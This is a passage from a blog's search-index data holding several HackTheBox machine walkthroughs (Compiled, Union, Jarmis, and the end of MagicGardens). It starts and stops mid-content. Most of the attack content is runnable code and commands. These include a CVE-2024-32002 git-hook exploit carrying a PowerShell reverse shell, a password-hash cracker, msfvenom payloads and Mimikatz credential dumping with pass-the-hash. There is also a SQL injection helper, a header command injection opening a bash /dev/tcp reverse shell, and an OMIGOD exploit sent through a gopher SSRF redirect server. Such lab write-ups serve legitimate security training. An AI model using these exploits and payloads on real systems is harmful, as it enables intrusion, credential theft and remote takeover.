downloaded by the container:\npython3 -m http.server 8000 Set Up a Netcat Listener: Open another terminal and start a listener to catch the reverse shell:\nnc -lvnp 4444 Target Container:\nDownload the Kernel Module: Use wget to fetch the reverse-shell.ko file from your local machine: wget http://\u0026lt;your-local-ip\u0026gt;:8000/reverse-shell.ko Load the Kernel Module: Insert the module to trigger the reverse shell: insmod reverse-shell.ko Access the root flag: Once the reverse shell is established, you can execute commands on the target machine. For example, retrieve the root flag: cat /root/root.txt Summary MagicGardens: turn the exposed service into a shell, pivot through the container boundary, and escalate to root.\n","date":"2024-10-20T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-MagicGardens/","protected":null,"snippet":"MagicGardens: turn the exposed service into a shell, pivot through the container boundary, and escalate to root.","tags":["htb","linux","docker"],"title":"HackTheBox MagicGardens Writeup"},{"categories":["challenge"],"contents":"","date":"2024-10-20T01:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Simple-Encryptor-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","rev","elf","xor","linux"],"title":"HackTheBox Simple Encryptor Challenge"},{"categories":["machine"],"contents":"","date":"2024-10-19T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Chemistry/","protected":true,"snippet":"Enter the password to unlock this machine writeup.","tags":["htb","linux","cve-2024-23334","cve-2024-23346"],"title":"HackTheBox Chemistry Writeup"},{"categories":["machine"],"contents":"Add Hosts 10.10.11.26 compiled.htb gitea.compiled.htb Script to add hosts automatically ip=\u0026#34;10.10.11.26\u0026#34; domain=\u0026#34;compiled.htb gitea.compiled.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV compiled.htb -Pn Nmap scan report for compiled.htb (10.10.11.26) Host is up (0.054s latency). Not shown: 997 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 3000/tcp open http Golang net/http server |_http-title: Git | fingerprint-strings: | GenericLines, Help, RTSPRequest: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 200 OK | Cache-Control: max-age=0, private, must-revalidate, no-transform | Content-Type: text/html; charset=utf-8 | Set-Cookie: i_like_gitea=31c854f3a734915f; Path=/; HttpOnly; SameSite=Lax | Set-Cookie: _csrf=2xuqMqBgGeGjFPHtQCYnt6Ghrsk6MTcyOTExNDEyNjU1ODA4NDAwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax | X-Frame-Options: SAMEORIGIN | Date: Wed, 16 Oct 2024 21:28:46 GMT | \u0026lt;!DOCTYPE html\u0026gt; | \u0026lt;html lang=\u0026#34;en-US\u0026#34; class=\u0026#34;theme-arc-green\u0026#34;\u0026gt; | \u0026lt;head\u0026gt; | \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1\u0026#34;\u0026gt; | \u0026lt;title\u0026gt;Git\u0026lt;/title\u0026gt; | \u0026lt;link rel=\u0026#34;manifest\u0026#34; href=\u0026#34;data:application/json;base64,eyJuYW1lIjoiR2l0Iiwic2hvcnRfbmFtZSI6IkdpdCIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jb21waWxlZC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNvbXBpbGVkLmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vZ2l0ZWEuY29tcGlsZWQuaHRiOjMwMDA | HTTPOptions: | HTTP/1.0 405 Method Not Allowed | Allow: HEAD | Allow: GET | Cache-Control: max-age=0, private, must-revalidate, no-transform | Set-Cookie: i_like_gitea=ea209cdbd9920f02; Path=/; HttpOnly; SameSite=Lax | Set-Cookie: _csrf=6sE1XXq7sbKb7BO4wvKSpHg3EXc6MTcyOTExNDEyNjc5Njk0MDIwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax | X-Frame-Options: SAMEORIGIN | Date: Wed, 16 Oct 2024 21:28:46 GMT |_ Content-Length: 0 5000/tcp open http Werkzeug httpd 3.0.3 (Python 3.12.3) |_http-title: Compiled - Code Compiling Services |_http-server-header: Werkzeug/3.0.3 Python/3.12.3 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port3000-TCP:V=7.95%I=7%D=10/16%Time=6710300E%P=x86_64-pc-linux-gnu%r(G SF:enericLines,67,\u0026#34;HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nContent-Type:\\x20 SF:text/plain;\\x20charset=utf-8\\r\\nConnection:\\x20close\\r\\n\\r\\n400\\x20Bad\\ SF:x20Request\u0026#34;)%r(GetRequest,3000,\u0026#34;HTTP/1\\.0\\x20200\\x20OK\\r\\nCache-Control SF::\\x20max-age=0,\\x20private,\\x20must-revalidate,\\x20no-transform\\r\\nCont SF:ent-Type:\\x20text/html;\\x20charset=utf-8\\r\\nSet-Cookie:\\x20i_like_gitea SF:=31c854f3a734915f;\\x20Path=/;\\x20HttpOnly;\\x20SameSite=Lax\\r\\nSet-Cooki SF:e:\\x20_csrf=2xuqMqBgGeGjFPHtQCYnt6Ghrsk6MTcyOTExNDEyNjU1ODA4NDAwMA;\\x20 SF:Path=/;\\x20Max-Age=86400;\\x20HttpOnly;\\x20SameSite=Lax\\r\\nX-Frame-Optio SF:ns:\\x20SAMEORIGIN\\r\\nDate:\\x20Wed,\\x2016\\x20Oct\\x202024\\x2021:28:46\\x20 SF:GMT\\r\\n\\r\\n\u0026lt;!DOCTYPE\\x20html\u0026gt;\\n\u0026lt;html\\x20lang=\\\u0026#34;en-US\\\u0026#34;\\x20class=\\\u0026#34;theme SF:-arc-green\\\u0026#34;\u0026gt;\\n\u0026lt;head\u0026gt;\\n\\t\u0026lt;meta\\x20name=\\\u0026#34;viewport\\\u0026#34;\\x20content=\\\u0026#34;width= SF:device-width,\\x20initial-scale=1\\\u0026#34;\u0026gt;\\n\\t\u0026lt;title\u0026gt;Git\u0026lt;/title\u0026gt;\\n\\t\u0026lt;link\\x20r SF:el=\\\u0026#34;manifest\\\u0026#34;\\x20href=\\\u0026#34;data:application/json;base64,eyJuYW1lIjoiR2l0 SF:Iiwic2hvcnRfbmFtZSI6IkdpdCIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jb21waWx SF:lZC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNvbXBpbGVkLm SF:h0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6Z SF:XMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vZ2l0ZWEuY29tcGlsZWQuaHRiOjMwMDA\u0026#34; SF:)%r(Help,67,\u0026#34;HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nContent-Type:\\x20tex SF:t/plain;\\x20charset=utf-8\\r\\nConnection:\\x20close\\r\\n\\r\\n400\\x20Bad\\x20 SF:Request\u0026#34;)%r(HTTPOptions,197,\u0026#34;HTTP/1\\.0\\x20405\\x20Method\\x20Not\\x20Allow SF:ed\\r\\nAllow:\\x20HEAD\\r\\nAllow:\\x20GET\\r\\nCache-Control:\\x20max-age=0,\\x SF:20private,\\x20must-revalidate,\\x20no-transform\\r\\nSet-Cookie:\\x20i_like SF:_gitea=ea209cdbd9920f02;\\x20Path=/;\\x20HttpOnly;\\x20SameSite=Lax\\r\\nSet SF:-Cookie:\\x20_csrf=6sE1XXq7sbKb7BO4wvKSpHg3EXc6MTcyOTExNDEyNjc5Njk0MDIwM SF:A;\\x20Path=/;\\x20Max-Age=86400;\\x20HttpOnly;\\x20SameSite=Lax\\r\\nX-Frame SF:-Options:\\x20SAMEORIGIN\\r\\nDate:\\x20Wed,\\x2016\\x20Oct\\x202024\\x2021:28: SF:46\\x20GMT\\r\\nContent-Length:\\x200\\r\\n\\r\\n\u0026#34;)%r(RTSPRequest,67,\u0026#34;HTTP/1\\.1 SF:\\x20400\\x20Bad\\x20Request\\r\\nContent-Type:\\x20text/plain;\\x20charset=ut SF:f-8\\r\\nConnection:\\x20close\\r\\n\\r\\n400\\x20Bad\\x20Request\u0026#34;); Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Exploit the Gitea Instance (CVE-2024-32002) Exploring Gitea Repositories Go to the Gitea explore page to browse repositories:\nURL: http://gitea.compiled.htb:3000/explore/repos Specifically, navigate to Richard\u0026rsquo;s repository:\nURL: http://gitea.compiled.htb:3000/richard/Calculator Project Overview: \u0026ldquo;Compiled\u0026rdquo; The \u0026ldquo;Compiled\u0026rdquo; project introduces a one-stop solution for compiling C++, C#, and .NET projects. It allows users to input GitHub repository URLs and get the projects compiled easily on http://localhost:5000 (if hosting locally). Checking Git Version for Exploit On Richard\u0026rsquo;s system, we see that git version 2.45.0.windows.1 is installed:\nC:\\Users\\Richard\u0026gt; git --version git version 2.45.0.windows.1 Searching for vulnerabilities related to this version reveals CVE-2024-32002, which is exploitable in this environment.\nTargeting the Compiled Repository The interesting repository to target is: URL: http://gitea.compiled.htb:3000/richard/Compiled Reverse Shell Setup Start a listener on your machine: nc -lvnp 9001 Register a New Gitea Account Go to the Gitea registration page to create a new user:\nURL: http://gitea.compiled.htb:3000 Register a user with the name pwn. After registration, get your access token from your account settings.\nCreate Hook Repositories Once logged in, create two new repositories named repo1 and repo2 using the Gitea web interface. Prepare the Reverse Shell Payload Use RevShells to generate a reverse shell payload for Windows:\nURL: https://www.revshells.com/ Select Powershell #3 (base64) as the reverse shell.\nAfter generating the payload, copy the base64-encoded reverse shell command and prepare to paste it into your hook scripts.\nInject the Reverse Shell into Git Hooks #!/bin/bash git config --global protocol.file.allow always git config --global core.symlinks true git config --global init.defaultBranch main rm -rf repo1 rm -rf repo2 git clone http://gitea.compiled.htb:3000/pwn/repo1.git cd repo1 mkdir -p y/hooks cat \u0026gt; y/hooks/post-checkout \u0026lt;\u0026lt;EOF #!bin/sh.exe powershell -e JABjAGwA... EOF chmod +x y/hooks/post-checkout git add y/hooks/post-checkout git commit -m \u0026#34;post-checkout\u0026#34; git push cd .. pwn_repo_path=\u0026#34;\u0026#34; git clone http://gitea.compiled.htb:3000/pwn/repo2.git cd repo2 git submodule add --name x/y \u0026#34;http://gitea.compiled.htb:3000/pwn/repo1.git\u0026#34; A/modules/x git commit -m \u0026#34;add-submodule\u0026#34; printf \u0026#34;.git\u0026#34; \u0026gt; dotgit.txt git hash-object -w --stdin \u0026lt; dotgit.txt \u0026gt; dot-git.hash printf \u0026#34;120000 %s 0\\ta\\n\u0026#34; \u0026#34;$(cat dot-git.hash)\u0026#34; \u0026gt; index.info git update-index --index-info \u0026lt; index.info git commit -m \u0026#34;add-symlink\u0026#34; git push cd .. Exploiting Gitea and Extracting Credentials Navigating to the Compiled Service First, access the Compiled service on the target machine by navigating to:\nhttp://compiled.htb:5000/ In the input field of the Compiled service, paste the URL for your malicious Gitea repository:\nhttp://gitea.compiled.htb:3000/pwn/repo2.git This will trigger the execution of your repository\u0026rsquo;s malicious hook scripts.\nServing Files from the Attacked Machine On the attacked machine, set up a simple HTTP server using Python to share files:\ncd C:\\ python -m http.server This will start a server on the attacked machine, making its files available for download.\nDownloading the Gitea Database to Your Local Machine On your local machine, download the Gitea database file from the attacked machine. Use wget to pull the gitea.db file from the target:\nwget \u0026#39;http://10.10.11.26:8000/Program Files/Gitea/data/gitea.db\u0026#39; Here, 10.10.11.26 is the IP of the attacked machine, and 8000 is the port number of the Python HTTP server you set up.\nExtracting Credentials from Gitea Database Once you have the gitea.db file on your local machine, use sqlite3 to open the database and extract user credentials:\nsqlite3 gitea.db Within the SQLite shell, run the following SQL query to list the emails, hashed passwords, and salts of users:\nSELECT email, passwd, salt FROM user; This will display the sensitive credential information stored in the Gitea instance.\nimport hashlib import binascii from pwn import log salt = binascii.unhexlify(\u0026#39;227d873cca89103cd83a976bdac52486\u0026#39;) key = \u0026#39;97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16\u0026#39; dklen = 50 iterations = 50000 def hash(password, salt, iterations, dklen): hashValue = hashlib.pbkdf2_hmac( hash_name=\u0026#39;sha256\u0026#39;, password=password, salt=salt, iterations=iterations, dklen=dklen, ) return hashValue dict = \u0026#39;/usr/share/dict/rockyou.txt\u0026#39; bar = log.progress(\u0026#39;Cracking PBKDF2\u0026#39;) with open(dict, \u0026#39;r\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;) as f: for line in f: password = line.strip().encode(\u0026#39;utf-8\u0026#39;) hashValue = hash(password, salt, iterations, dklen) target = binascii.unhexlify(key) bar.status(f\u0026#39;Trying: {password}, hash: {hashValue}\u0026#39;) if hashValue == target: bar.success(f\u0026#39;Found password: {password}!\u0026#39;) break bar.failure(\u0026#39;Hash is not crackable.\u0026#39;) evil-winrm -i compiled.htb -u Emily -p 12345678 more C:\\Users\\Emily\\Desktop\\user.txt CVE-2024-20656 (VSStandardCollectorService150) In your local machine:\nwget https://raw.githubusercontent.com/charlesgargasson/CVE-2024-20656/refs/heads/main/Expl.exe wget https://github.com/antonioCoco/RunasCs/releases/download/v1.5/RunasCs.zip unzip RunasCs.zip rm -rf RunasCs_net2.exe ip=$(ip a | grep -A 2 \u0026#34;tun0:\u0026#34; | grep -oP \u0026#39;(?\u0026lt;=inet\\s)\\d+(\\.\\d+){3}\u0026#39;) msfvenom -p windows/shell_reverse_tcp LHOST=\u0026#34;$ip\u0026#34; LPORT=9005 EXITFUNC=thread -f exe -a x86 --platform windows -o payload.exe msfconsole -qx \u0026#34;use exploit/multi/handler; set LHOST $ip; set LPORT 9005; run\u0026#34; Host downloaded file:\npython -m http.server evil-winrm -i compiled.htb -u Emily -p 12345678 mkdir c:\\exploit wget \u0026lt;vpn-ip\u0026gt;:8000/RunasCs.exe -O c:\\exploit\\RunasCs.exe wget \u0026lt;vpn-ip\u0026gt;:8000/Expl.exe -O c:\\exploit\\Expl.exe wget \u0026lt;vpn-ip\u0026gt;:8000/payload.exe -O c:\\exploit\\payload.exe c:\\exploit\\RunasCs.exe emily 12345678 c:\\exploit\\Expl.exe Once the listener on port 9005 responds, proceed to obtain the flag.\ntype \\users\\administrator\\desktop\\root.txt Extract Admin NT Hash Set Up Mimikatz Download, extract, and run Mimikatz to obtain the NT hash:\ncurl http://\u0026lt;vpn-ip\u0026gt;:8000/mimikatz.zip -o m.zip \u0026amp;\u0026amp; tar -xf m.zip cd mimikatz .\\mimikatz.exe \u0026#34;privilege::debug\u0026#34; \u0026#34;lsadump::sam\u0026#34; \u0026#34;exit\u0026#34; Note down the NTLM hash of the Administrator.\nInitiate Evil-WinRM Session Utilize the extracted NT hash to access the target system:\nevil-winrm -i 10.10.11.26 -u administrator -H f75c95bc9312632edec46b607938061e Summary Compiled: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.\n","date":"2024-10-18T15:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Compiled/","protected":null,"snippet":"Compiled: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.","tags":["htb","windows","linux","active-directory","cve-2024-20656","cve-2024-32002"],"title":"HackTheBox Compiled Writeup"},{"categories":["machine"],"contents":"Add Hosts 10.10.10.128 union.htb Script to add hosts automatically ip=\u0026#34;10.10.10.128\u0026#34; domain=\u0026#34;union.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV 10.10.11.128 Nmap scan report for 10.10.11.128 Host is up (0.049s latency). Not shown: 999 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-title: Site doesn\u0026#39;t have a title (text/html; charset=UTF-8). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Initial Exploration Access the target URL:\nhttp://10.10.11.128/ Use ffuf to discover endpoints:\nffuf -w /usr/share/dict/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.128/FUZZ -e .php -fs 1220 Found Endpoints: css: Status 301, Size 178 firewall.php: Status 200, Size 13 config.php: Status 200, Size 0 challenge.php: Status 200, Size 772 Union SQL Injection Union SQL Injection allows combining results from multiple SELECT statements. More information can be found here.\nTesting Input Testing the player parameter with curl shows normal inputs don\u0026rsquo;t work, but UNION SQL injections targeting a single column do:\ncurl http://10.10.11.128/index.php -d \u0026#34;player=\u0026#39; union select database() -- -\u0026#34; Response:\nSorry, november, you are not eligible due to already qualifying. Extracting Data Use this simple script to perform sql querries:\n#!/bin/bash POST_URL=\u0026#34;http://10.10.11.128/index.php\u0026#34; POST_DATA=\u0026#34;player=\u0026#39; union %s -- -\u0026#34; PATTERN=\u0026#34;Sorry, (.*) you are not eligible due to already qualifying.\u0026#34; function send_post { local sqli=$1 response=$(curl -s -d \u0026#34;$(printf \u0026#34;$POST_DATA\u0026#34; \u0026#34;$sqli\u0026#34;)\u0026#34; \u0026#34;$POST_URL\u0026#34;) if [[ $response == Sorry* ]]; then if [[ $response =~ $PATTERN ]]; then echo \u0026#34;${match[1]}\u0026#34; else echo \u0026#34;No match found in response.\u0026#34; fi else echo \u0026#34;ERROR\u0026#34; fi } while true; do echo -n \u0026#34;SQLi\u0026gt; \u0026#34; read sqli if [[ $sqli == \u0026#34;exit\u0026#34; ]]; then break elif [[ -z $sqli ]]; then continue fi send_post \u0026#34;$sqli\u0026#34; done SQL Queries: Get the database name:\nSELECT database(); Output: november\nList tables:\nSELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = \u0026#39;november\u0026#39;; Output: flag, players\nList columns in flag table:\nSELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = \u0026#39;flag\u0026#39;; Output: one\nRetrieve the flag:\nSELECT one FROM flag; Access http://10.10.11.128/challenge.php and enter the flag to open port 22 to your ip.\nLoad configuration file: SELECT LOAD_FILE(\u0026#39;/var/www/html/config.php\u0026#39;); Contents of config.php:\n$servername = \u0026#34;127.0.0.1\u0026#34;; $username = \u0026#34;uhc\u0026#34;; $password = \u0026#34;uhc-11qual-global-pw\u0026#34;; $dbname = \u0026#34;november\u0026#34;; SSH Access:\nssh uhc@10.10.11.128 Retrieve the user flag:\ncat user.txt On the SSH machine, inspect the firewall.php file:\ncat /var/www/html/firewall.php The script uses sudo to execute a system command, indicating that the www-data user may have elevated permissions. The $ip variable is vulnerable to command injection due to its direct concatenation in the command. This can be exploited by modifying the X-Forwarded-For HTTP request header and appending a command using a semicolon (;) or a comment (#).\nSet up a listener for incoming connections with:\nnc -lvnp 9001 echo -en \u0026#34;PHPSESSID Coockie? \u0026#34; read coockie ip=$(ip a | grep -A 2 \u0026#34;tun0:\u0026#34; | grep -oP \u0026#39;(?\u0026lt;=inet\\s)\\d+(\\.\\d+){3}\u0026#39;) curl 10.10.11.128/firewall.php -H \u0026#34;X-Forwarded-For: ; echo $(echo -n \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/\u0026#39;$ip\u0026#39;/9001 0\u0026gt;\u0026amp;1\u0026#39; | base64 ) | base64 -d | bash ;\u0026#34; -H \u0026#39;Cookie: PHPSESSID=\u0026#39;$coockie\u0026#39;\u0026#39; sudo -l sudo su cat /root/root.txt Summary Union: enumerate the services, turn the exposed weakness into a shell, and escalate to root.\n","date":"2024-10-16T09:22:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Union/","protected":null,"snippet":"Union: enumerate the services, turn the exposed weakness into a shell, and escalate to root.","tags":["htb","linux"],"title":"HackTheBox Union Writeup"},{"categories":["machine"],"contents":"Add Hosts 10.10.11.117 jarmis.htb Script to add hosts automatically ip=\u0026#34;10.10.11.117\u0026#34; domain=\u0026#34;jarmis.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV jarmis.htb -Pn Nmap scan report for jarmis.htb (10.10.11.117) Host is up (0.071s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA) | 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA) |_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Jarmis |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel dirb http://jarmis.htb/ API Information: http://jarmis.htb/openapi.json Swagger UI: http://jarmis.htb/docs Iterate over all ids and filter malicious ones\nfor id in {1..300}; do curl -s -X \u0026#39;GET\u0026#39; \\ \u0026#34;http://jarmis.htb/api/v1/search/id/$id\u0026#34; \\ -H \u0026#39;accept: application/json\u0026#39; | jq \u0026#39;select(.ismalicious == true)\u0026#39; done If you are on Arch Linux, install nmap-netcat, which includes the -ssl option (unlike the simpler gnu-netcat):\nsudo nc -lvnp 443 --ssl Navigate to http://jarmis.htb/ and select Fetch Jarm. Input https://\u0026lt;vpn-ip\u0026gt;, which will display the message:\n\u0026#34;note\u0026#34;: \u0026#34;Ncat?\u0026#34; Now, let\u0026rsquo;s use Metasploit to listen:\nsudo msfconsole -x \u0026#34;use auxiliary/server/capture/http; set srvport 443; set SSL true; run\u0026#34; Run the command above, then resend https://\u0026lt;vpn-ip\u0026gt; in the Fetch Jarm section.\nYou should receive the response:\n\u0026#34;note\u0026#34;: \u0026#34;Metasploit?\u0026#34; Routing 8443 to 443 for Connection Back Flush Existing Rules:\nsudo iptables -t nat -F Redirect Traffic:\nsudo iptables -I PREROUTING -t nat -p tcp --dport 443 -d \u0026lt;vpn-ip\u0026gt; -m statistic --mode nth --every 11 --packet 10 -j REDIRECT --to-port 8443 Start Listeners:\nStart a listener on port 443: sudo nc -lvnp 443 --ssl Start a listener on port 8443: sudo nc -lvnp 8443 --ssl Fetch Jarm: Navigate to Fetch Jarm and input https://\u0026lt;vpn-ip\u0026gt;.\nYou will receive a GET request on port 8443. With this setup, you can send the OMIgod payload through that channel.\nLocal Open Ports ffuf -u \u0026#39;http://jarmis.htb/api/v1/fetch?endpoint=http://localhost:FUZZ\u0026#39; -w \u0026lt;(seq 1 65535) -fs 109 22 [Status: 200, Size: 117, Words: 1, Lines: 1, Duration: 223ms] 80 [Status: 200, Size: 117, Words: 1, Lines: 1, Duration: 135ms] 5986 [Status: 200, Size: 119, Words: 1, Lines: 1, Duration: 199ms] 8001 [Status: 200, Size: 119, Words: 1, Lines: 1, Duration: 466ms] SSRF Omigod Using Gopher The exploit can be found at https://github.com/horizon3ai/CVE-2021-38647/blob/main/omigod.py.\nUsing Gopher allows for directly embedding headers in the URL, making it easier to weaponize and bypass restrictions.\nFirst, run Burp Suite on port 8080 (default). Intercept the OMIgod payload packet by configuring the OMIgod exploit to route through Burp Suite. wget https://raw.githubusercontent.com/horizon3ai/CVE-2021-38647/refs/heads/main/omigod.py sed -i \u0026#34;s/, verify=False/, verify=False, proxies={\u0026#39;https\u0026#39;:\u0026#39;http:\\/\\/localhost:8080\u0026#39;}/\u0026#34; omigod.py ip=$(ip a | grep -A 2 \u0026#34;tun0:\u0026#34; | grep -oP \u0026#39;(?\u0026lt;=inet\\s)\\d+(\\.\\d+){3}\u0026#39;) python3 omigod.py -t \u0026#34;$ip\u0026#34; -c \u0026#34;echo -n $(echo -n \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/$ip/9001 0\u0026gt;\u0026amp;1\u0026#34; | base64 -w 0) | base64 -d | bash\u0026#34; rm -rf omigod.py OMIGOD payload intercepted through Burp Suite.\nPOST /wsman HTTP/1.1 Host: 10.10.14.8:5986 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, br Accept: */* Connection: close Content-Type: application/soap+xml;charset=UTF-8 Content-Length: 1728 \u0026lt;s:Envelope xmlns:s=\u0026#34;http://www.w3.org/2003/05/soap-envelope\u0026#34; xmlns:a=\u0026#34;http://schemas.xmlsoap.org/ws/2004/08/addressing\u0026#34; xmlns:h=\u0026#34;http://schemas.microsoft.com/wbem/wsman/1/windows/shell\u0026#34; xmlns:n=\u0026#34;http://schemas.xmlsoap.org/ws/2004/09/enumeration\u0026#34; xmlns:p=\u0026#34;http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd\u0026#34; xmlns:w=\u0026#34;http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\u0026#34; xmlns:xsi=\u0026#34;http://www.w3.org/2001/XMLSchema\u0026#34;\u0026gt; \u0026lt;s:Header\u0026gt; \u0026lt;a:To\u0026gt;HTTP://192.168.1.1:5986/wsman/\u0026lt;/a:To\u0026gt; \u0026lt;w:ResourceURI s:mustUnderstand=\u0026#34;true\u0026#34;\u0026gt;http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem\u0026lt;/w:ResourceURI\u0026gt; \u0026lt;a:ReplyTo\u0026gt; \u0026lt;a:Address s:mustUnderstand=\u0026#34;true\u0026#34;\u0026gt;http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous\u0026lt;/a:Address\u0026gt; \u0026lt;/a:ReplyTo\u0026gt; \u0026lt;a:Action\u0026gt;http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand\u0026lt;/a:Action\u0026gt; \u0026lt;w:MaxEnvelopeSize s:mustUnderstand=\u0026#34;true\u0026#34;\u0026gt;102400\u0026lt;/w:MaxEnvelopeSize\u0026gt; \u0026lt;a:MessageID\u0026gt;uuid:0AB58087-C2C3-0005-0000-000000010000\u0026lt;/a:MessageID\u0026gt; \u0026lt;w:OperationTimeout\u0026gt;PT1M30S\u0026lt;/w:OperationTimeout\u0026gt; \u0026lt;w:Locale xml:lang=\u0026#34;en-us\u0026#34; s:mustUnderstand=\u0026#34;false\u0026#34; /\u0026gt; \u0026lt;p:DataLocale xml:lang=\u0026#34;en-us\u0026#34; s:mustUnderstand=\u0026#34;false\u0026#34; /\u0026gt; \u0026lt;w:OptionSet s:mustUnderstand=\u0026#34;true\u0026#34; /\u0026gt; \u0026lt;w:SelectorSet\u0026gt; \u0026lt;w:Selector Name=\u0026#34;__cimnamespace\u0026#34;\u0026gt;root/scx\u0026lt;/w:Selector\u0026gt; \u0026lt;/w:SelectorSet\u0026gt; \u0026lt;/s:Header\u0026gt; \u0026lt;s:Body\u0026gt; \u0026lt;p:ExecuteShellCommand_INPUT xmlns:p=\u0026#34;http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem\u0026#34;\u0026gt; \u0026lt;p:command\u0026gt;echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44LzkwMDEgMD4mMQ== | base64 -d | bash\u0026lt;/p:command\u0026gt; \u0026lt;p:timeout\u0026gt;0\u0026lt;/p:timeout\u0026gt; \u0026lt;/p:ExecuteShellCommand_INPUT\u0026gt; \u0026lt;/s:Body\u0026gt; \u0026lt;/s:Envelope\u0026gt; Flush the existing iptables rules and redirect traffic:\nsudo iptables -t nat -F sudo iptables -I PREROUTING -t nat -p tcp --dport 443 -d \u0026lt;vpn-ip\u0026gt; -m statistic --mode nth --every 11 --packet 10 -j REDIRECT --to-port 8443 sudo nc -lvnp 443 --ssl Start a listener on a different port:\nnc -lvnp 9001 Python Server to Send the OMIGOD Payload:\nIn the intercepted Burp payload:\nIncrement the Content-Length by 2, as this is a requirement for Gopher requests. Select all, right-click, and choose Convert Selection \u0026gt; URL \u0026gt; URL Encode All Chars. Change omigod-payload in the Python server below: #!/bin/env python3 from http.server import HTTPServer, BaseHTTPRequestHandler import ssl import os import subprocess key_path = \u0026#39;/tmp/key.pem\u0026#39; cert_path = \u0026#39;/tmp/cert.pem\u0026#39; if not os.path.exists(key_path) or not os.path.exists(cert_path): subprocess.run([\u0026#39;openssl\u0026#39;, \u0026#39;req\u0026#39;, \u0026#39;-x509\u0026#39;, \u0026#39;-newkey\u0026#39;, \u0026#39;rsa:4096\u0026#39;, \u0026#39;-keyout\u0026#39;, key_path, \u0026#39;-out\u0026#39;, cert_path, \u0026#39;-days\u0026#39;, \u0026#39;365\u0026#39;, \u0026#39;-nodes\u0026#39;]) payload = \u0026#39;\u0026lt;omigod-payload\u0026gt;\u0026#39; class MainHandler(BaseHTTPRequestHandler): def do_GET(self): print(\u0026#34;GET request received\u0026#34;) self.send_response(301) self.send_header(\u0026#34;Location\u0026#34;, f\u0026#34;gopher://127.0.0.1:5985/_{payload}\u0026#34; + \u0026#39;%0d%0a\u0026#39;) context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) context.load_cert_chain(certfile=cert_path, keyfile=key_path) httpd = HTTPServer((\u0026#39;0.0.0.0\u0026#39;, 8443), 